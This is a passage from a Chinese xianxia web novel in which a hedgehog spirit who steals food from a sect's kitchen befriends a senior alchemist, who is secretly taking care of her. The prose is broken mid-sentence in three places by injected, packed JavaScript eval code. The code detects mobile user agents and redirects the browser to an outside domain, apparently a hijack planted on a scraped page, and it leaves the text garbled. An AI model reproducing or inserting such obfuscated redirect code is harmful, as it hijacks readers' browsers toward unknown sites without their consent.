她余光瞥见小刺猬站立的身形:“没关系的,星星站稳了。” 灵力涌动,不着痕迹地护住肩膀上的小刺猬。 又过了半柱香的时间,药膳被从药锅中盛出,放入一大一小两只碗中,转至另一张桌子。 不等裴依宁伸手,云榆一个跳下,四肢落在桌面上。 她目光灼灼地盯着面前的小碗,喉咙咽了咽。 滚烫的热气迷了她的眼。 裴依宁坐于桌前,看着小刺猬的模样,无奈地抬手,虚虚拢住碗面:“等一会,烫。” 她从储物空间中取出一只类似于碗的容器,里面盛着各色水果。 裴依宁递到云榆身前:“先吃点水果?” 云榆眨巴着眼睛:“吃完药膳再吃水果。” 裴依宁无法,点了下云榆的刺:“你以往生食这些,吃多了,不难受吗?” 里面虽药效不多,但经年累月之下,积攒的也不少。 云榆干咳一声,总不能说她才偷吃了几个月吧:“还好,”她随意提了嘴,“今晚不是有你为我做了熟食吗?” 药膳凉了些,云榆不再等待,两只爪子抱住勺子,挖了勺塞入口中。 只是香气就让她迫不及待,入口后,味觉功能发挥。 云榆顾不得形象,一勺勺地挖起。 单是一株药效不多的灵株就能做的这么好吃。 云榆越吃越满足,越吃越心酸。 再一次感概,之前过的都是什么日子。 裴依宁手肘搭在桌面上,支撑着脸颊:“慢点,别急。” 云榆“呜呜”地回应几声,埋首于碗中。 一连吃了两碗,药锅中已无多余的药膳。 裴依宁将自己那份未动的推了过去:“这里还有这份。” 云榆不好意思地挠挠头:“这是你的。” 裴依宁说:“没关系,我不饿。” 云榆看了看碗中的药膳,又看向裴依宁苍白的面容,即使在烛火的暖色下,那抹苍白依旧显眼。 她拒绝:“不行,你需要多补充营养,这株药材虽药效不多,但聊胜于无,你快吃,再不吃就凉了。” 小刺猬还在关心她的身体。 裴依宁放下手,坐正了些,拨了一半到小刺猬的碗中。 云榆蹙眉:“你做什么?” 裴依宁面露难色:“我吃不了这么多,星星能不能帮我吃一点?” 已经拨到云榆的碗中,自然不可能再拨回去,毕竟这个碗她已经用了。 小刺猬抿唇,不赞同地盯着面前的女人。 裴依宁举起双手,想到什么,拿出小刺猬先前给的药瓶:“我可以吃这个的,星星。” 云榆这才道:“一日一枚,别忘记吃了。” 为了表示不会忘记,裴依宁打开药瓶,当着小刺猬的面倒出一枚。 丹修的鼻子向来灵敏,更何况是修为高深如她这般。 略显不圆的丹药摊在掌心,药香中夹杂着一股很淡的其它气息,是炼制时未能处理好,将杂质一并封存在了丹药内。 裴依宁迟钝片刻,启唇。 不知是不是错觉,云榆觉得裴依宁的脸色在食用过丹药后稍有缓和。 监督的目光转向面前的碗中,云榆沉浸在美食中。 见小刺猬的关注点转移,裴依宁闭目,火属性灵气在体内运转开来,将刚刚吞咽下去的那枚丹药二次炼化。 杂质被火焰燃尽,凝成一滴灰色的的液体,从指尖流出。 吃着药膳的小刺猬没有注意到这一幕。 吃完后,云榆心满意足地瘫坐下,小爪子抚摸着圆滚滚的肚子,忍不住夸道:“宁依,你的厨艺真的好好,是我目前见过最好的。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14824601|158791||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 裴依宁拿着手帕,边擦拭小刺猬唇边毛发沾染的湿物,边说:“有时间,可以继续为你做。” 云榆敏锐地捕捉到关键词:“你后面很忙吗?是要开始学习炼制丹药了吗?” 她听说炼丹之途极为讲究天赋,更是耗费时间。刚入峰阁的弟子,都是从最简单的认识药材开始。 这期间,多是理论知识,需辨别各种药材,自是忙碌。 裴依宁道:“差不多。” 身为灵丹堂的大师姐,她闭关这么多年,总要了解峰阁变化,以及师妹们在炼丹之途的问题和收获。 云榆想到买气血丸时,两位丹修说的话,问:“你知晓你们峰阁的裴大师姐吗?” 裴依宁抬眉:“怎么了?” 云榆道:“听闻她出关了,据说她在炼丹上成就很高,若是有机会,你可以多向她请教请教。” 裴依宁轻靠在扶手上:“好的,我会的。” 云榆点点头,惆帐地叹了口气。 裴依宁笑:“又怎么了?” 云榆掀起眼皮,懒懒地看了眼女子,向前一扑,懒洋洋地趴在桌面上,语调跟着慢了几拍:“你们峰阁的大师姐出关,不知会不会因此加强戒备。” 新官上任三把火,云榆只希求这把火不要烧到膳食堂这边。 裴依宁轻笑:“怎么会,宗内太平,为何要单单加强灵丹堂的戒备。” 云榆思索片刻:“这倒也是,”不过很快,她又道,“万一她想整顿灵丹堂内部呢。” 裴依宁摇头:“这种事,她应该不会多管。” 昨夜她进入膳食堂不过是路过,便想看看闭关这些年,里面的布局是否有变。 进来的第一时间,她便是察觉到了小刺猬的气息,但感知到小刺猬毫无敌意,甚至主动躲避,又扫见被藏起来的药材,她登时明白了小刺猬的目的。 许是闭关久了,她只觉新奇,还煮了一份药膳。 谁知主动出来的小刺猬竟误会了她的身份。 很有趣的误会。 云榆抬头:“你见过裴师姐吗?” 裴依宁轻点:“见过吧。” 云榆又问:“你觉得她怎么样?” 裴依宁淡笑:“我不知。” 云榆翻了个面,不再继续这个话题。 裴依宁捏起另一侧碗中的蓝莓,递到小刺猬唇边。 云榆张唇咽下。 不知宁依会忙到什么时候,而她也不可能夜夜过来,若是下次两人错过就不好了。 云榆翻身坐起,微扬起头,道:“你下次什么时候来?” 裴依宁摇头:“我不确定,”她顿了顿,“你明晚来吗?” 云榆道:“明晚我需修炼,不来。” 说罢,小爪子在身上摸了摸,一根刺出现在爪心,云榆用灵力化作一根丝线,系在刺上,丢给身前女子。 裴依宁双手接住,不解地回望过去。 云榆说:“若是这根刺发热,即说明当夜我会来这里。” 裴依宁弯唇:“好。” 被投喂了几枚水果,云榆又被勾起了馋虫。 为女子的高超厨艺,她短小的爪子拍拍胸口,诱惑道:“当我跟班,以后在宗门,我罩着你,有我一口吃的,就有你一口喝的。” 裴依宁被她的行为和话语逗笑。她眉眼含笑,温柔地喂给她一粒新鲜蓝莓:“好,多吃点。” 5. 第五章 云榆入宗这几个月少有这般安逸的时刻,懒散地趴在那,嘴巴一张就有一枚新鲜的水果递过来。 裴依宁将她照顾的很好,有时果粒过大,还有用刀切成块,用竹签叉着水果,喂到她的口中。 肚子里最后一点空隙被填满,云榆别开小脑袋,含糊道:“宁依,我吃饱了。” 瞧着见底的水果,裴依宁后知后觉地放下竹签,纤长的手指搭在碗沿,眼睛微眯,生出几分难言的困惑。 云榆一眼看出,心下得意,新弟子连表情控制都不知晓,什么都摆在脸上。 刚让对方当自己跟班,云榆自是会在能力范围内为对方答疑解惑:“怎么了,宁依?” 裴依宁看着小刺猬的身形,两根手指比划了下:“有些好奇,星星看着这般小,为何……不会难受吗?” 云榆顷刻间猜到了女子未说完的话,她表情变化,一瞬不瞬地盯着面前的人,直呼其名:“宁依。” 这人竟然说她食量大,虽然以她现在的刺猬身形来看,吃得的确有点多,但她早已经可以化形了。 这些东西,对于人形的她来说,刚刚好。 她虽贪吃,却也不是不知节制,不会把自己撑坏。 这般被人明晃晃的说出来,小刺猬觉得很丢妖脸。 她蹙起眉头,表示自己的不高兴。 裴依宁垂目,小刺猬的警告于她看来,更多的是可爱。 气鼓鼓的脸颊嘟起,两只爪子环抱在一起,侧着身子,用眼角看她。 裴依宁忍住笑意,这个时候笑出来,小刺猬恐怕要更生气了。 她思量片刻,学着小刺猬先前的语气,声音闷闷地,听起来略感委屈:“我不问了。” 云榆:“……” 怎么感觉她有点欺负新弟子。 小刺猬两只爪子垂了下去,嘟起的脸颊肉也消了下去,她往前挪动几步,拉近和裴依宁的距离,而后伸出一只爪子,安抚性地拍拍裴依宁搭在桌面上的手背:“我没有凶你的意思。” 见裴依宁不说话,就连眼底藏着的委屈都加深了几分,云榆犹豫了会,心觉现在不是时候,但也无需过多隐瞒。 她吸了口凉气,她转身从装有水果的碗中拾起一枚蓝莓。 裴依宁静静地看着小刺猬背对着她,眉梢挑起,好以整暇地等待小刺猬的举动。 下一刻,云榆转了回来:“我也是宗门弟子,进宗定然是人形,食量自然与常人无异。日后若有机会,我会用原形同你相见的。”她不太熟练地和饭搭子解释,“吃了这颗水果,这件事就翻篇了。” 裴依宁适当地展露出好奇,不忘夸一番心软的小刺猬:“人形?星星会化形,定然是很厉害的妖。” 云榆被夸得飘飘然,得意地扬起头:“那是,明越宗可不是简简单单就能进的,能进来的妖,不足一手之数。当然,每一位进入明越宗的师姐妹们都很厉害。”她将蓝莓往前递了递,“宁依也很厉害。” 哄人的语气。 裴依宁长而翘的睫毛颤动,流转的眼波落在小刺猬爪心的蓝莓上,抬手,掌心盖住小刺猬的爪子。 一缕灵力在接触中,没入小刺猬的体内。 很健康的小刺猬。 小刺猬的爪子被裴依宁拉了拉,后者旋即捏起蓝莓,并不吃,只是用拇指和食指捏着,她柔声问:“星星很喜欢吃这个吗?” 她投喂时,小刺猬吃得最多的便是蓝莓。 云榆点点头:“酸酸甜甜的,开胃解腻。” 裴依宁心下有了计较。 窗外暗沉无风,与窗内分割成两片世界。 与此同时,云榆凝神望着外面,计算着离开的时间。 她第一次在膳食堂呆这么久,往日吃完便是离去。哪里会像今夜这般悠哉悠哉地细品慢吃,与人闲谈,饭后消食。 裴依宁忽而问:“星星,你是修什么的?” 云榆尚未对她说过修习之道,但她接过蓝莓时,摸到对方爪子上有类似于茧的硬物。 是长时间握着一样东西磨出来的。 大概率是剑。 修习剑道的小刺猬。 云榆神秘地道:“时机成熟,你自会知晓。” 她摸了摸圆滚的小肚子,不再逗留:“走啦,有缘再会。” 临走前,云榆从空间储物中摸出二十枚灵石,装入布袋中朝裴依宁扔过去。 像是裴依宁投喂她食物,她给的报酬般自然。 当然,还是云榆见不得这人病殃殃的模样,这些灵石,对于刚入宗的弟子,多少有点用处。 面对裴依宁将要递回的态度,云榆清咳两声,自若道:“下次见面,我要吃灵肉,总是吃素的,我也会吃腻的。这些灵石,是买灵肉用的。” 合理合规的理由,但一块普通灵肉,不过一灵石而已。 她丢下一句“好好调养身体”后钻入无边的夜色中,徒留一人立于窗边,失神地握着布袋。 裴依宁收回目光,垂眸,打开布袋,二十枚灵石交叠在一起,上面还残留着小刺猬的气息。 她拿出一块置于掌心,晶莹剔透的石块内隐有灵光浮动,她再度看向窗外。 小刺猬已融入茫茫夜色,消失不见。 * 回到住所的云榆化回人形,清洗完身体,拿出剩下的灵石数了数。 还没捂热的灵石转眼间只剩下一半,说不心疼是假的,但好歹用在了对的地方。 云榆叹息地收起剩余的灵石,闭目打坐。 初晨的第一缕阳光升起,云榆自打坐状态中脱身,她捏了捏酸涩的后颈,简单的洗漱过来,出了居所。 卞凝刚至她的门前,曲起两根手指,正欲敲门,饱经风霜的木门自内而开。 卞凝抬起的手臂悬停在半空中,慢半拍地放下,不可思议道:“今日怎得起这么早?” 云榆耸肩,出了门,两人并肩往练剑之所而去:“我哪日起的不早?” 卞凝不客气地揭她台:“昨日不知是谁,连领灵石之事都忘记,莫不是睡糊涂了。” 云榆讪笑:“昨日有特殊情况。” 卞凝不听她狡辩,这人总是有千万种理由。 云榆还没有佩剑,用的是剑法阁专为门下弟子准备的铁剑,只含着一点灵气,用起来倒也顺手。 她暂时没有为自己锻造一柄剑的打算,一是入宗不久,尚未完全掌握基础的剑招,现在锻造过早,二则是现实因素,她没那么多灵石。 一式落地,炫技似地挽起一个漂亮的剑花,收剑,云榆笑着问卞凝:“我刚才那招如何?” 卞凝犀利点评:“无关的招数过多,小心师姐下次检查挨训。” “那时我自不会这般,”云榆将铁剑放回剑架上,眼有艳羡,“不知何时才能有一把独属于我的佩剑。” 身为剑修,最重要的就是剑。 云榆抚摸着铁剑剑身,冰凉的触感直抵肌肤。 卞凝也没有佩剑,闻言拍了拍云榆的肩膀,语 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14824602|158791||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气中不乏同样的慕羡:“我上次听师姐说,以我们现在的能力,还不足以完全掌握一把有灵性的剑,待到正式踏上剑道一途,会为我们量身锻造专属佩剑。” 云榆眨眨眼。 卞凝摸摸鼻子:“不需要我们出灵石。” 云榆瞪圆了眼睛:“你怎么不早说,我还特意存灵石准备为自己锻造佩剑!” 卞凝:“师姐说的时候,你不也在吗?” 云榆:“……” 卞凝好奇:“你存多少灵石了?” 云榆:“……五十枚。” 这次轮到卞凝瞪圆眼睛了,她不可置信地望着心虚的人,伸出五根指头:“五十枚你那么激动做什么?” 不知道的还以为五十万枚呢。 不对,昨日才发放的灵石,怎得今日就剩下五十枚了。 她狐疑地打量云榆,最后得出结论:“昨日你下山胡吃海喝去了?” 虽只相识几个月,但卞凝已颇为了解这位好友的习性,嗜吃如命,每月大半灵石都是进了肚子。 但这次太夸张了,短短一日,就花了一半的量。 她严肃:“你这般可不行,要克制自己的欲望。” 云榆懂事地点点头:“明白。你呢,还剩下多少?” 卞凝:“……六十枚。” 云榆将那句话还给她:“你这般可不行,要克制自己的欲望。” 卞凝语塞,她平日喜欢收集各种小玩意,每件价格不算高,一来二去,积少成多,灵石不知不觉间从指缝中溜走了。 剑法阁会根据弟子的修为分发灵石,后续用完,则需要弟子自行想办法赚取。 不仅是剑法阁,整个明越宗皆是如此。 交易堂的存在便有这方面的原因。 正说话的功夫,一道剧烈的声响在耳畔边炸开,云榆下意识地捂住耳朵,蹲下身,近乎蜷缩在一起。 卞凝捂住一边耳朵,回神看见这幕,总觉得现在的云榆有点像受惊了的小动物。 她摇头打消这个念头,正欲说话,云榆已经起身,朝着声源地而去。 声响是另一位独自练剑的同门发出,与她一般,入宗不过数月。 此刻,女子正按着手腕,五官扭曲痛苦。 她的手背被剑气划出一道血痕,好在不深。 云榆见状,立刻咬下袖子上的布料,同时使用清洁术,而后小心翼翼地包裹住伤口。 她未入宗前,受伤了便是如此做的。 云榆单膝跪在地上,扶住面前人的肩膀,凝神问:“你还能动吗?” 她观察了,这人只有手上有伤,但不免有暗伤存在。 应滟死死咬着唇,活动了下四肢,应道:“可以动。” “好在只是铁剑,灵气不足。”周围有师姐闻讯而来,见状直接道:“云榆,你和卞凝送应滟去灵丹堂。” 应滟忙道:“只是轻伤,不必那么麻烦。” 云榆等师姐发话,那师姐两指搭在应滟腕骨上,向上一挑:“手乃剑修根本,不可马虎。” 应滟不再多言,低声应“是。” 师姐扶着应滟起身,对另外两人道:“辛苦你二人了。” 她还需指导师妹们练剑,不能轻易走开。她简明扼要的说了灵丹堂内疗伤之所的位置。 云榆道:“师姐放心。” 她对灵丹堂的布局了然于心。 如此一来,或许又能见到宁依了。云榆莫名想到她刚收的跟班。 6. 第六章 云榆和卞凝一左一右扶着应滟来到灵丹堂。 从前多是夜晚来得多,白日来这里,云榆还有几分小小的心虚。 卞凝回忆师姐告诉的位置,脖颈伸长张望着,余光忽而瞥见另一边同样在张望的女子。 灵丹堂外部,零星有几名弟子或是走过,或是晾晒整理药材。 这里面没有宁依。 云榆松了口气,收回目光,侧过头,对上卞凝探索的神色,她心一动,疑惑地:“怎么了?” 卞凝只觉怪异,但说不出所以然,摇头道:“师姐说的疗伤之所你还记得吗?” 云榆“嗯”了声,下巴点了下面前巍峨建筑群的一角。 应滟这时终于能插上话,她不好意思地红了脸:“小伤而已,要不我们回去吧。” 她感觉伤口马上要愈合了,若非师姐态度强硬,她绝对不会过来。 人生地不熟,和陌生人说话,她还有些局促不安。 云榆不赞成:“师姐说了,手对剑修极为重要,还是重视点好。”缓缓地,她吐出一句,“来的都来了,走吧。” 应滟拇指抠在手背上的布料上,抿住唇:“麻烦你们了。” “都是同门,那么客气做什么?”云榆有心缓解应滟的紧张,熟稔地拉近关系,“我们可都是一同入宗的,这叫什么……卞凝?” 卞凝接下她的话茬:“缘分。” 云榆拍了下胳膊:“对,缘分。” 说话间的功夫,三人已经抵达其中一座大殿的门口。 玉石雕刻成的牌匾悬于殿门上方,龙飞凤舞,像是用剑气一气呵成刻画而出,工整中多了洒脱之感。 丝丝缕缕的药香自殿内飘出,偶有清浅的谈话声自内里传出。 云榆感知到身旁人的僵硬,安抚性地道:“别紧张。” 如果说剑法阁是她的家,那么灵丹堂和她的第二个家没多大区别。 “不是。”应滟身体更僵硬了,“我是怕疗伤价格太贵,支付不起。” 云榆的身体也僵硬了:“是哦。” “为同门治病疗伤乃份内之事,不收取费用。” 温婉的声音自斜侧方传来,三人不约而同侧目,一位身着碧色衣裙的女子端着一方药盘经过她们,脚步顿了顿,问:“哪里受伤了?” 云榆先一步回过神,将应滟往前推了下:“师姐,她手背被剑气割伤了。” 纳兰然随之看过去。 应滟手背上裹着的布料随意但包裹严实,可见为她包扎之人经验不多。 她腾出一只手,灵力流转,片刻后,她道:“剑气入骨,需要立刻将留存的剑气清除。” 说罢,她带着三人入内。 踏入殿内,那股药香愈发浓郁,却不冲鼻,反而有种清新舒缓,放松神经之效。 云榆深呼一口。 殿内正有几位灵丹堂的弟子在磨药,瞧见有人入内,纷纷抬起头。 被这么多人行注目礼,云榆稍有不适,绷着脸和卞凝按照碧衣师姐的指示,带着应滟坐到一处无人之所。 “稍等片刻,”纳兰然欲将药盘递给跟过来的弟子,回眸,见那弟子手中拿着几株药材,问,“你拿这些做什么?” 那人道:“裴师姐适才传音,说留几株品质高的药膳食材,我选取了几株,但不确定品质是否达到裴师姐要求。” “裴师姐要来?”纳兰然诧异,片刻后,心下了然,“想来是查看这里有无错漏。你等会拿给裴师姐看看不就知道了,裴师姐没那么吓人。” 此人是灵丹堂的小师妹,对那位闭关多年,沉迷炼丹,威望极高却鲜少露面示人的裴师姐多有惧怕。 “先将这药粉送至药阁,”纳兰然说完,见她双手被药材填满,眉梢微动。 小师妹还未适应,心下慌乱,手忙脚乱地不知如何做。 云榆看不下去,抬手道:“我帮你拿着?” “多谢。”小师妹卸下压力,感激地将药材交给云榆,双手接过方盘。 纳兰然无奈地弯下唇,取下应滟手背上的包扎。 云榆立于一侧,将两人的话听了下去,她低头凝视掌心的药材。 高品阶的药膳食材,这位裴师姐莫不是真的打算整顿膳食堂。 云榆咬住舌尖,瞥见袖口那处的布料被不规整地撕裂。 是情急之下给应滟包扎撕开的。 “你是同人比试,才导致剑气入体的吗?”纳兰然疑惑地抬起应滟的手臂,喃喃自语,“在手背上,伤口不深,不像是比试造成的。” 应滟耳尖都是红的,怯懦道:“我以灵力注入铁剑,一时没掌握好分寸,剑气炸开……” 一炷香后,小师妹回来了,感激地接过云榆拿着的药材。 与此同时,一道颀长的身形出现在殿门口。 小师妹刚出殿门就见某位师姐恭敬地站在一位浅蓝色衣衫的女子面前,脸上满是敬佩之色。 是生面孔,她脑子稍一转动便知晓了来人的身份,快步上前,紧张地不敢呼吸:“裴师姐,这是您要的药材。” 裴依宁闻声抬起头,额前的碎发随之轻缓摇晃,精致的五官撞入人眼,她微微一笑:“好的,多谢。” 温和的态度让小师妹心中的惧意消失大半,她磕磕绊绊道:“不……不用谢,裴师姐,这药材的品质符合您的要求吗?” 裴依宁转头与刚指点的人道:“按我刚才说的,重新整理一遍。” 随后,她屏息,浅色的瞳孔中,有异色光芒闪过,药材中的灵气犹如实质般流动。 其中,还夹杂着一道气息。 与空间储物中,昨夜某只刺猬给的灵石中,残留的气息一模一样。 “可以。”裴依宁眸中的光芒褪去,她抬眼看向小师妹,“这药材,经了哪些人的手?” 小师妹“啊”了声,不知裴师姐这般问的意思,老老实实道:“全程只经过了我的手,”她猛地想起什么,道,“中途让一位同门帮我拿了下。” 她不明所以,以为是哪里出错了,小心道:“裴师姐,这药材有问题吗?” 裴依宁将药材放入空间储物,道:“无碍,帮你拿药材的人可还在?” 小刺猬白日也会出现在灵丹堂,难不成是灵丹堂的弟子。 “还好,入骨不多。”纳兰然将粉末细细撒在应滟的伤口上,而后取下一截白色绸缎包裹住伤口,“你们入宗多久了?剑法阁的人未曾告知你们,以你们现在的实力,不能往铁剑中注入太多灵气吗?” 一旦过多,且实力不足,无法掌控,极容易出现剑气炸开,伤及自身的情况。 这也是为何新入宗的弟子无法获得专属佩剑的原因之一,铁剑造不成太大的伤害,但灵剑剑气炸开,足以危及性命。 应滟垂头丧气地不敢回答。 云榆跟着垂下脑袋。 裴依宁进来时,看见的便是这一幕,女子像是做错了事情,等待批评,只是背影,就已经够委屈可怜。 越是靠近,属于小刺猬的气息越是清晰。 身为丹修,对气息的感知度极高。 当站定在云榆身后,裴依宁确定了,面前这人,是小刺猬的人形。 她不动神色地给因看见她而要起身的纳兰然传了个音:“坐着,无需管我。” 纳兰然呼吸顿住,不知裴师姐是何意,但还是听从对方的话,只当没看见对方,继续道,“这药粉每两日一换,自行换或是来灵丹堂换都可。” 应滟被前一句的严厉吓到,没动。 云榆替她接过:“谢谢师姐,我们以后会注意。” 纳兰然道:“无事就回去吧。” 裴师姐到这,许是有话要同她说。 自以为被训的三人忙不迭地点头,齐刷刷往后走。 云榆刚一回头,猝不及防地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14824603|158791||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 与身后人四目相对,神经反射地抖了下,差点脱口而出,喊对面人“宁依”。 好在最后关头遏制住了,只留下一个口型。 裴依宁看见了这个口型。 她眼神落定在云榆面上两秒,而后轻飘飘地移开,像是什么都没发现般,往旁迈一步,将路让开,对着纳兰然:“纳兰师姐。” 风吹过,将这四个字带入云榆耳中。 宁依当真是新入灵丹堂的弟子。 她浑然不知,身后纳兰然石化的表情和惊恐的眼神。 “裴……裴。”向来能言善道的人此刻失了声,纳兰然木讷地望着面前噙着笑意的女人,不知对方为何会突然唤她一声“师姐”,这太有违常理了,“我……” 等人走远,裴依宁不在意地问:“纳兰,她们是哪座峰阁的?” 纳兰然还没从震惊中抽身,实话实说:“是剑法阁的新弟子。” 果真和她猜的一样,是一只修习剑道的小刺猬,还是只刚入宗却故作老成的小刺猬。 云榆垂头的样子浮现在脑海中,与小刺猬垂头时的神态简直一模一样。 裴依宁好心情地扬唇,抬步离开。 “裴师姐,”纳兰然连忙唤了声。 裴依宁脚步一顿:“纳兰师妹还有事吗?” 纳兰然不确定道:“您刚才……” 为何叫她“纳兰师姐”。 裴依宁淡笑不语,视线追随消失在殿门口的身影。 云榆还沉浸在转身看见裴依宁的惊讶中,等走到峰崖边,她一拍脑袋,歉意地说:“卞凝,应滟,我还有点身体上的问题,想请教灵丹堂的师姐们,你们先回去吧。” 卞凝不赞同:“一起吧,来回没多长时间。” 应滟同种态度地点头。 云榆推着两人:“你们先回去吧,好早点让师姐知道应滟无事。” 应付完两人,云榆偷摸跑到一块石碑后,确定四下无人,身形一化,变回原形。 小刺猬从石碑后探头探脑地出来,灵活地借用草地的遮掩穿梭,避开灵丹堂的弟子。 半柱香后,小刺猬躲在一块石头后面,圆滚滚地缩成一团,不仔细看,就像是两块叠在一起的石头。 露出的眼睛看见熟悉的人影,小刺猬小幅度地调整身位。 当身上被阴影覆盖,小刺猬猛地跳起,蹦到石块上,本着吓人的心思:“宁依!” 裴依宁早有准备,眼皮一挑,周围只有她们二人。 她面上不显露山水,故作心有余悸地蹲下身子:“星星,你怎么在这?” 小刺猬两只小爪子插在腰间,后背拢着的刺神气地竖起:“路过,顺便来看看你,开心吗?” 灵丹堂四季如春,此刻柔和的日光浮在小刺猬的身上,摇曳间铺上一层淡色的调子,就连刺尖,都反着白点。 裴依宁掌心虚搭在小刺猬的后背:“开心。”她想要将小刺猬放在掌心,又觉得突兀,“星星来灵丹堂是有事吗?” 由于是平地,裴依宁即使再怎么放低身子,云榆也不得不仰起头,稍稍放大音量与对方说话:“不是说了吗?路过。” “那星星吃饭了吗?”裴依宁问。 即使是修为最低的修士都能辟谷一段时间,但依据小刺猬那般贪吃的性子,又是这个时间点,大概率没来得及吃饭。 云榆捏了捏小肚子,道:“我辟谷了。” 裴依宁自空间储物中取出一只四方木盒放在小刺猬面前,她歪头示意小刺猬打开。 云榆狐疑地看了眼裴依宁,两只小爪子卡在木盒的盖子上,没急着打开,问:“宁依,你在里面放了什么?” 裴依宁往后退了半步,让阳光能完全照到小刺猬:“星星,打开看看不就知道了?” 她卖了个关子,吊足了小刺猬的胃口。云榆不再犹豫,按着盖子向上一翻。 露出满满一盒蓝莓。 7. 第七章 从未见过如此多的蓝莓,云榆怔愣在原地,茫然地转动黑漆漆的眼睛。 裴依宁心下一紧:“不喜欢吗?” 她昨夜问小刺猬是否喜欢的时候,对方给的是喜欢的答复,莫不是一次性吃多了,以至于没了欣喜之感。 裴依宁不确定。 小刺猬低垂着脑袋,让她人看不清具体神色,更猜测不出她心中所想。 “喜欢。”小刺猬闷闷出声,语调中含着一丝不明显的颤音,小爪子捞起两枚蓝莓,一股脑地塞入口中,声音更加含糊不清了,“宁依,谢谢你。” 已经很久没有人这么关心她的喜好,为她准备这种惊喜了。 她本就是个感性的小刺猬,眼眶酸酸的,低着头才不至于让自己在新收的小跟班面前露出狼狈的一面。 裴依宁察觉到小刺猬情绪变动,眼神软了许多,捏起一枚蓝莓,凭着感觉投喂到小刺猬的唇边。 手被小刺猬的爪子抱住,小刺猬先前吃下的蓝莓还没来得及咽下,从裴依宁的角度,可以看见小刺猬不断耸动的脸颊。 数个呼吸后,小刺猬抱着裴依宁的手往上一抬,含住那枚蓝莓,小爪子却没有松开裴依宁的手。 等口中吃食吞下,小刺猬有模有样地学着裴依宁的姿势,从木盒中取下一颗蓝莓,放在裴依宁的掌心,颇为傲娇地道:“我就不喂你了,你自己吃吧。” 带着微弱的鼻音。 裴依宁定定地看着还是不肯抬头的小刺猬。 她的指尖被蓝莓汁水染上浅淡的紫红色,心情跟着小刺猬低落下去。 那枚蓝莓没能被裴依宁吃下,一道清亮的声音喊了她一声:“裴师姐。” 裴依宁瞳孔一颤,蓝莓自她手中掉落。 小刺猬猛地回过神,胡乱地摸了把脸,急切地寻找遮挡物。 但这里是平地,除了草和碎石外,并无其余的遮挡物。 而此刻,这些显然无法挡住她的身形。 就在她不知所粗之际,沾染到紫红色汁水的掌心落在她身前,她下意识抬起头,裴依宁对着她微微点头。 分明知晓对方只是灵丹堂的新弟子,也知晓对方身上没有可以躲藏的地方,但云榆还是跳上了女子的掌心。 她竭尽所能地拢起刺,缩小身体,用微薄的灵力笼罩住刺,露出柔软的肚皮,尽量不刺到宁依。 裴依宁站起身,握着云榆的手自然地背在身后,另一只手则是快速关闭木盒,拿起。 纳兰然正欲前往其它峰阁,却不料在此地碰见早已离开的裴依宁,躬身行了一礼,便要开口唤人。 【纳兰师妹,无需多礼。】灵识内突然传出裴依宁的声音。 纳兰然心下诧异,今日的裴师姐多有怪异,但她听从对方的话,默声行了一礼后,也不知要不要开口说点什么。 好在裴依宁先一步开口了:“纳兰师姐,裴师姐刚走不久。” 又是一声“纳兰师姐”,后面接的话更是让纳兰然摸不到头脑。 裴依宁分明站在她面前,为什么要说自己已经走了。 她只能持续沉默。 灵识内再度响起裴依宁的声音:【纳兰师妹,现在只当我是灵丹堂新入的弟子便可。今日之事,还请不要对外界说。】 纳兰然好歹是入宗多年的人,修习一事本就有很多无法言明的事,许是裴师姐新的修习之法。 她快速整理好思绪,配合下来。 “师妹,你在这做什么?”纳兰然手心沁出潮湿的水渍。 她有种违背伦理的错觉。 裴依宁赞许地投去一个眼神:“刚刚采摘了一盒新鲜的蓝莓,纳兰师姐要尝尝吗?” 纳兰然扫了眼木盒,对方浑然没有伸回来,真的给她吃的意思,她移开目光,道:“不用,我还有事,师妹留着吃吧。” 裴依宁:“好的,师姐慢走。” 小刺猬大气不敢喘,更是一动不动,怕扎到裴依宁。 等纳兰然走远了,小刺猬被移动到面前。 云榆立刻起身,四肢撑在裴依宁的掌心,仔仔细细地查看有没有因为她的刺而弄伤的地方。 只找到几个浅浅的小凹陷后,云榆憋着的气吐出,大口呼吸了几下新鲜空气。 呼出的热气打在掌心,裴依宁鸦羽般的睫毛动了动,在下眼睑投下淡淡的残影。 云榆心有余悸地道:“吓死我了,差点被发现。” 裴依宁耳边垂下的碎发随风起舞:“星星不能被别人发现吗?” 云榆趴下,肚皮贴着女子的肌肤:“嗯,让太多人知道不好。”她适当地抬起头,“但你做饭好吃。” 因为做饭好吃,所以让她知道了原形吗? 裴依宁问:“宗门内,有几人知晓星星的原形?” 云榆道:“宗主和峰阁阁主知晓,还有几只同为妖族的互相知晓。” 裴依宁:“如此一说,我是师姐妹中,唯一知晓此事的?” 